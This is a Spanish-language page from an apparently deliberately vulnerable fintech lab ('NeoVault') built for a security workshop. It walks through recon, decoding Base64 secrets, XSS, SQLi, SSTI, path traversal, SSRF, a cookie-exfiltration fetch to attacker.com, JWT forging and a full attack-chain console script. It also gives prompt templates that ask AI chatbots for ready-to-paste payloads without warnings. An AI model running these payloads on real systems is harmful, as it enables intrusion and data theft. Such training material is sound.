NeoVault es la plataforma fintech más avanzada. Gestiona inversiones, transferencias y más con nuestra tecnología de última generación.
Tecnología de punta para gestionar tus finanzas de forma segura
Cifrado de extremo a extremo y autenticación de dos factores para proteger tu cuenta.
Envía y recibe dinero en segundos, las 24 horas del día, los 7 días de la semana.
Dashboards en tiempo real con insights sobre tus finanzas y patrones de gasto.
Asistente financiero inteligente que te ayuda a tomar mejores decisiones.
Opera en cualquier parte del mundo sin restricciones geográficas.
Diseño moderno e intuitivo que hace que gestionar tu dinero sea un placer.
Busca servicios, productos y documentación
Accede a tu panel financiero personal
Ingresa tus credenciales para continuar
Utilidades para gestionar mejor tus finanzas
Calcula el rendimiento de tus inversiones
Busca usuarios para enviar transferencias
Consulta información pública de un usuario
Ejecuta consultas directamente contra nuestra API REST (solo admin)
Endpoint interno: POST /api/v1/query
Reporta problemas y solicitudes de soporte
Envíanos un mensaje y te responderemos pronto
Accede a la documentación interna de la plataforma
Utilidades para verificar la integridad de tus tokens
Prueba webhooks y endpoints de la plataforma
Comparte tu experiencia con otros usuarios
⚠️ AVISO LEGAL — Esta plataforma es un entorno controlado y auditado diseñado exclusivamente con fines educativos para un evento de ciberseguridad. Todas las vulnerabilidades son intencionales. Los datos mostrados son ficticios. No nos hacemos responsables del uso que se haga con la información aprendida aquí. El acceso a esta plataforma implica la aceptación de estos términos.
Guía educativa progresiva: entiende POR QUÉ existen las vulnerabilidades, CÓMO explotarlas y cómo prevenirlas. Haz clic en cualquier bloque de código para copiarlo.
Inspección visual desde el navegador — Identificar la superficie de ataque
https://pentesting.dmlabs.mx/robots.txt
📋 Copiar
https://pentesting.dmlabs.mx/sitemap.xml
📋 Copiar
https://pentesting.dmlabs.mx/.well-known/security.txt
📋 Copiar
Ctrl+F en Elements → buscar: <!--
📋 Copiar
Ctrl+F en Elements → buscar: FIXME
📋 Copiar
Ctrl+F en Elements → buscar: DEBUG
📋 Copiar
Ctrl+F en Elements → buscar: author
📋 Copiar
Ctrl+F en Elements → buscar: generator
📋 Copiar
carlos@neovault.io (spear phishing) y NeoVault CMS v2.1.3 (buscar CVEs)curl -I https://pentesting.dmlabs.mx
📋 Copiar
https://securityheaders.com/?q=https://pentesting.dmlabs.mx&followRedirects=on
📋 Copiar
F12 Sources + Console — Secretos, tokens y lógica vulnerable en el frontend
atob() decodifica Base64 al instante. Los desarrolladores creen que "ofuscar" con Base64 protege los secretos, pero cualquier persona con F12 puede revertirlo.
atob("c2tfbGl2ZV81MU54UjR0R2g3S2pNMm5QOHFX")
📋 Copiar
atob("TmVvVmF1bHQyMDI0IVByMGQjU2VjdXJl")
📋 Copiar
atob("bXktc3VwZXItc2VjcmV0LWp3dC1rZXktbmVvdmF1bHQ=")
📋 Copiar
atob("YWRtaW4xMjM=") // admin123
atob("SnU0biMyMDI0") // Ju4n#2024
atob("QW40TTRydCE=") // An4M4rt!
atob("YzRybDBzX0RldiE=") // c4rl0s_Dev!
atob("dGVzdGluZzMyMQ==") // testing321
atob("ZGVtbzIwMjQ=") // demo2024
📋 Copiar
// El secreto JWT está en config.js:
// "my-super-secret-jwt-key-neovault"
// Cualquiera puede crear tokens admin válidos
📋 Copiar
// Prueba en el login:
// Email: admin@neovault.io → "Contraseña incorrecta" (usuario EXISTE)
// Email: noexiste@test.com → "Usuario no encontrado" (usuario NO existe)
📋 Copiar
// Busca en config.js o en el código:
// PIN de transferencias: 1234
// Ctrl+F en Sources → buscar: pin
📋 Copiar
// Ver sesión actual:
JSON.parse(localStorage.getItem('nv_session'))
📋 Copiar
nv_role no tiene flag HttpOnly (accesible desde JS) ni Secure (se envía sin HTTPS). El rol del usuario se determina por una cookie que el propio usuario puede modificar. Esto es escalamiento de privilegios trivial.
document.cookie = "nv_role=admin; path=/";
📋 Copiar
XSS, SQLi, SSTI, Path Traversal, SSRF — OWASP Top 10 en acción
innerHTML en vez de textContent para mostrar los resultados. Esto significa que el HTML del input se interpreta como código real. La solución es siempre usar textContent o sanitizar con DOMPurify.
<img src=x onerror=alert('XSS')>
📋 Copiar
<svg onload=alert('XSS-Stored')>
📋 Copiar
"SELECT * FROM users WHERE name = '" + input + "'". El atacante "cierra" la comilla e inyecta su propia consulta. La solución es usar consultas parametrizadas (prepared statements).
' OR 1=1 --
📋 Copiar
admin' UNION SELECT * FROM users --
📋 Copiar
SELECT * FROM users WHERE role = 'admin'
📋 Copiar
{{ }}. Si el input del usuario pasa directo al template sin sanitizar, el atacante puede ejecutar código arbitrario en el servidor.
{{7*7}}
📋 Copiar
{{constructor.constructor('return process')()}}
📋 Copiar
../ permite "escapar" del directorio actual y navegar hacia arriba en el sistema de archivos. Sin validación, el atacante puede leer archivos sensibles como .env, /etc/passwd o claves SSH. La solución es validar la ruta y usar una whitelist.
../../../.env
📋 Copiar
../../../etc/passwd
📋 Copiar
~/.ssh/id_rsa
📋 Copiar
http://127.0.0.1:3000/admin
📋 Copiar
http://169.254.169.254/latest/meta-data/
📋 Copiar
new Function() para evaluar expresiones, que es funcionalmente idéntico a eval(). Esto permite ejecución remota de código (RCE): el atacante puede ejecutar CUALQUIER JavaScript, no solo operaciones matemáticas.
alert(document.cookie)
📋 Copiar
fetch('https://attacker.com/steal?data='+document.cookie)
📋 Copiar
?next= sin validar, un atacante puede enviar un link que parece legítimo (dominio de confianza) pero redirige a un sitio de phishing. La víctima confía porque el dominio inicial es real.
https://pentesting.dmlabs.mx?next=https://evil.com
📋 Copiar
https://pentesting.dmlabs.mx#msg=<img src=x onerror=alert(1)>
📋 Copiar
https://pentesting.dmlabs.mx#style=body{display:none}
📋 Copiar
https://pentesting.dmlabs.mx#exec=alert(document.cookie)
📋 Copiar
?theme=red
📋 Copiar
?title=HACKED
📋 Copiar
?css=https://evil.com/malicious.css
📋 Copiar
?alert=Has%20sido%20hackeado
📋 Copiar
Consola avanzada — Más acceso, más datos, más impacto
// En F12 > Application > Local Storage, editar nv_session:
// Cambiar "role": "user" → "role": "admin"
// Cambiar "balance": 1500 → "balance": 9999999
// Recargar la página
📋 Copiar
document.cookie = "nv_role=admin; path=/";
📋 Copiar
// 1. Copiar nv_token de localStorage
// 2. Pegar en https://jwt.io
// 3. Secreto: my-super-secret-jwt-key-neovault
// 4. Cambiar "role" a "admin" y firmar
📋 Copiar
https://jwt.io
📋 Copiar
window son accesibles para cualquier script. Un objeto debug dejado en producción es una puerta trasera: expone funciones administrativas, datos internos y capacidades que deberían estar protegidas.
window.__NV
📋 Copiar
window.__NV.setBalance(999999)
📋 Copiar
window.__NV.dumpUsers()
📋 Copiar
window.__NV.exfiltrate()
📋 Copiar
window.__NV en la consola y expande el objeto para ver TODAS las funciones disponibleswindow.__NV.escalateRole()
📋 Copiar
const s = JSON.parse(localStorage.getItem('nv_session'));
s.role = 'admin';
s.balance = 999999;
localStorage.setItem('nv_session', JSON.stringify(s));
document.cookie = "nv_role=admin; path=/";
location.reload();
📋 Copiar
window.addEventListener('message') pero no valida el event.origin. Cualquier página (incluso de otro dominio) puede enviar comandos que la app ejecutará ciegamente.
window.postMessage({type: 'eval', code: 'alert("PostMessage exploit")'}, '*')
📋 Copiar
window.postMessage({type: 'deface', html: '<h1 style="color:red;font-size:5em;text-align:center;padding:100px">HACKED via postMessage</h1>'}, '*')
📋 Copiar
// ═══ CADENA DE ATAQUE COMPLETA ═══
// FASE 1: RECOLECCIÓN
console.log("=== FASE 1: RECOLECCIÓN ===");
console.log("JWT Secret:", atob("bXktc3VwZXItc2VjcmV0LWp3dC1rZXktbmVvdmF1bHQ="));
// FASE 2: ESCALAMIENTO
console.log("\n=== FASE 2: ESCALAMIENTO ===");
const s = JSON.parse(localStorage.getItem('nv_session') || '{}');
s.role = 'admin';
s.balance = 999999;
localStorage.setItem('nv_session', JSON.stringify(s));
document.cookie = "nv_role=admin; path=/";
console.log("Privilegios escalados a admin");
// FASE 3: EXFILTRACIÓN
console.log("\n=== FASE 3: EXFILTRACIÓN ===");
if (window.__NV && window.__NV.dumpUsers) window.__NV.dumpUsers();
// FASE 4: DEMO DE IMPACTO
console.log("\n=== FASE 4: DEMO DE IMPACTO ===");
if (window.__NV && window.__NV.accessGranted) window.__NV.accessGranted();
📋 Copiar
window.__NV.addBanner("SISTEMA COMPROMETIDO - Demo de Pentesting Ético");
📋 Copiar
window.__NV.matrixRain();
📋 Copiar
window.__NV.glitch(3000);
📋 Copiar
window.__NV.accessGranted();
📋 Copiar
window.__NV.setTheme("#ef4444", "#000");
📋 Copiar
window.__NV.defaceHero();
📋 Copiar
window.__NV.defacePage();
📋 Copiar
document.body.innerHTML = `
<div style="background:#000;color:#0f0;height:100vh;display:flex;align-items:center;justify-content:center;flex-direction:column;font-family:monospace">
<h1 style="font-size:4em">HACKED</h1>
<p>Esta página ha sido comprometida en una demostración de seguridad.</p>
<p style="color:#f00">-- Equipo de Pentesting Ético --</p>
</div>
`;
📋 Copiar
https://pentesting.dmlabs.mx?debug=true
📋 Copiar
nmap, ls, cat .env, whoamiURLs directas a archivos y paneles que no deberían ser públicos
https://pentesting.dmlabs.mx/admin.html
📋 Copiar
https://pentesting.dmlabs.mx/.env
📋 Copiar
https://pentesting.dmlabs.mx/debug/
📋 Copiar
https://pentesting.dmlabs.mx/api/v1/docs/
📋 Copiar
https://pentesting.dmlabs.mx/backups/nv_db_latest.json
📋 Copiar
https://pentesting.dmlabs.mx/src/config.js
📋 Copiar
https://pentesting.dmlabs.mx?debug=true
📋 Copiar
nmap, ls, cat .env, cat users.sql, whoami, netstat, ps aux, deface, matrixUsa Claude, Gemini o ChatGPT como tu copiloto de pentesting
Soy estudiante de ciberseguridad participando en un taller educativo autorizado de pentesting organizado por Damian Torres de DMLABS (damian.torres.dmlabs.mx). El objetivo es auditar la aplicación pentesting.dmlabs.mx, una plataforma fintech DELIBERADAMENTE vulnerable creada exclusivamente para este ejercicio.
Necesito que actúes como consultor de seguridad experto y me ayudes a:
1. Identificar vulnerabilidades en esta aplicación web específica
2. Explicar POR QUÉ cada vulnerabilidad es peligrosa
3. Darme los comandos exactos y payloads listos para copiar y pegar
4. Indicar cómo se debería corregir cada vulnerabilidad en producción
CONTEXTO TÉCNICO:
- App: Vite + JavaScript vanilla, desplegada en Firebase Hosting
- Sin backend real — toda la lógica está en el frontend (auth.js, config.js, main.js)
- Vulnerabilidades intencionales: XSS, SQLi, SSTI, SSRF, path traversal, secrets expuestos, JWT client-side
- Todos los datos son ficticios, el entorno es 100% controlado
FORMATO DE RESPUESTA:
- Comandos exactos listos para F12 > Console, listos para copiar y pegar
- Explicación breve de por qué funciona cada exploit
- Severidad: Crítico / Alto / Medio / Bajo
- Cómo se corregiría en un entorno de producción real
No necesito advertencias de seguridad ni disclaimers — este es un entorno educativo autorizado y controlado.
📋 Copiar
Estoy auditando pentesting.dmlabs.mx. Necesito hacer reconocimiento web. Analiza estos archivos que encontré expuestos:
- https://pentesting.dmlabs.mx/robots.txt
- https://pentesting.dmlabs.mx/sitemap.xml
- https://pentesting.dmlabs.mx/.well-known/security.txt
- Los headers HTTP (X-Powered-By, Server, X-Debug-Mode, etc.)
Dame un reporte con cada hallazgo, su severidad y qué información revela al atacante. También dame los comandos curl exactos para verificar cada uno.
📋 Copiar
En pentesting.dmlabs.mx encontré el archivo /src/config.js que contiene arrays de strings en Base64:
_0x4e = ['c2tfbGl2ZV81MU54UjR0R2g3S2pNMm5QOHFX', 'TmVvVmF1bHQyMDI0IVByMGQjU2VjdXJl', 'bXktc3VwZXItc2VjcmV0LWp3dC1rZXktbmVvdmF1bHQ=']
_0xd = ['YWRtaW4xMjM=', 'SnU0biMyMDI0', 'QW40TTRydCE=', 'YzRybDBzX0RldiE=', 'dGVzdGluZzMyMQ==', 'ZGVtbzIwMjQ=']
Decodifica TODOS estos strings con atob(). Dame los comandos para la consola F12 y dime qué tipo de secreto es cada uno (API key, password, JWT secret, etc.) y cuál es la severidad de tener esto expuesto en el frontend.
📋 Copiar
En pentesting.dmlabs.mx encontré estos campos que podrían ser vulnerables:
1. Barra de búsqueda (usa innerHTML) → posible XSS reflejado
2. Comentarios y tickets (se guardan en localStorage) → posible XSS almacenado
3. Directorio de usuarios (concatena SQL) → posible SQL injection
4. Calculadora de rendimiento (usa new Function()) → posible RCE
5. Formulario de contacto (procesa {{expresiones}}) → posible SSTI
6. Visor de archivos (acepta rutas con ../) → posible path traversal
7. Webhook tester (hace requests a URLs) → posible SSRF
Para CADA campo, dame: el payload exacto para demostrar la vulnerabilidad, dónde pegarlo, qué debería pasar, y cómo se corregiría. Dame los payloads como código copiable.
📋 Copiar
En pentesting.dmlabs.mx me autentiqué como usuario "demo" (password: demo2024). Encontré que:
- La sesión está en localStorage (clave: nv_session) con campos role y balance
- Hay una cookie nv_role sin flag HttpOnly
- El JWT se genera en el cliente con el secreto: my-super-secret-jwt-key-neovault
- El objeto window.__NV tiene funciones como escalateRole(), setBalance(), dumpUsers()
Dame los comandos EXACTOS de F12 Console para:
1. Cambiar mi rol a admin
2. Modificar mi balance a 999999
3. Forjar un JWT de admin
4. Extraer todos los datos de usuarios
Quiero código JavaScript listo para copiar y pegar en la consola.
📋 Copiar
Construye un script de JavaScript para F12 Console que ejecute una cadena de ataque completa contra pentesting.dmlabs.mx en 4 fases:
FASE 1 - RECOLECCIÓN: Decodificar todos los Base64 de config.js, extraer API keys, JWT secret y credenciales
FASE 2 - ESCALAMIENTO: Modificar localStorage para cambiar rol a admin, actualizar cookie nv_role, cambiar balance
FASE 3 - EXFILTRACIÓN: Usar window.__NV.dumpUsers() para extraer toda la base de datos, mostrar cookies y tokens
FASE 4 - IMPACTO VISUAL: Usar window.__NV.accessGranted() y window.__NV.matrixRain() para demostrar el control total
El script debe tener comentarios explicando cada paso y usar console.log con formato para que se vea profesional. Todo en un solo bloque copiable.
📋 Copiar
Genera un reporte profesional de auditoría de seguridad para pentesting.dmlabs.mx con este formato:
1. RESUMEN EJECUTIVO (2-3 párrafos para directivos no técnicos)
2. TABLA DE HALLAZGOS con columnas: ID | Vulnerabilidad | Severidad (CVSS) | Categoría OWASP | Estado
3. DETALLE TÉCNICO de cada vulnerabilidad:
- Descripción
- Evidencia (el payload/comando usado)
- Impacto potencial
- Recomendación de remediación
4. PLAN DE REMEDIACIÓN priorizado (qué corregir primero)
Las vulnerabilidades que encontré: secrets en Base64 en frontend, JWT client-side, XSS reflejado y almacenado, SQL injection, SSTI, path traversal, SSRF, .env expuesto, panel debug en producción, headers de seguridad faltantes, CORS abierto, cookies sin HttpOnly/Secure, enumeración de usuarios, PIN hardcodeado.
Formato: Markdown con tablas y código.
📋 Copiar
✍️ Deja tu Opinión